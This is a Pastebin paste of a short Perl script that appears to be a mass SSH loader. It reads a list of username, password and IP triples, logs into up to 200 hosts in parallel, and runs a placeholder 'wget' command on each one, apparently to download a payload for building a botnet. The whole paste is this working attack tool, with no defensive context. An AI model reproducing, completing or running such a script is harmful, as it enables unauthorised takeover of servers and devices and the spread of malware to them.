Advertisement
Guest User

Untitled

a guest
Aug 17th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Net::SSH2; use Parallel::ForkManager;
  3.  
  4. $file = shift @ARGV;
  5. open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
  6. push(@newarray,@array);
  7.  
  8. }
  9. my $pm = new Parallel::ForkManager(200); for (my $i=0; $i <
  10. scalar(@newarray); $i+=3) {
  11. $pm->start and next;
  12. $a = $i;
  13. $b = $i+1;
  14. $c = $i+2;
  15. $ssh = Net::SSH2->new();
  16. if ($ssh->connect($newarray[$c])) {
  17. if ($ssh->auth_password($newarray[$a],$newarray[$b])) {
  18. $channel = $ssh->channel();
  19. $channel->exec("wget line here!");
  20. sleep 10;
  21. $channel->close;
  22. print "\e[32;1mCommand sent to: ".$newarray[$c]."\n";
  23. } else {
  24. print "Login Unsuccessful\n";
  25. }
  26. } else {
  27. print "Connection Not Established\n";
  28. }
  29. $pm->finish;
  30. }
  31. $pm->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement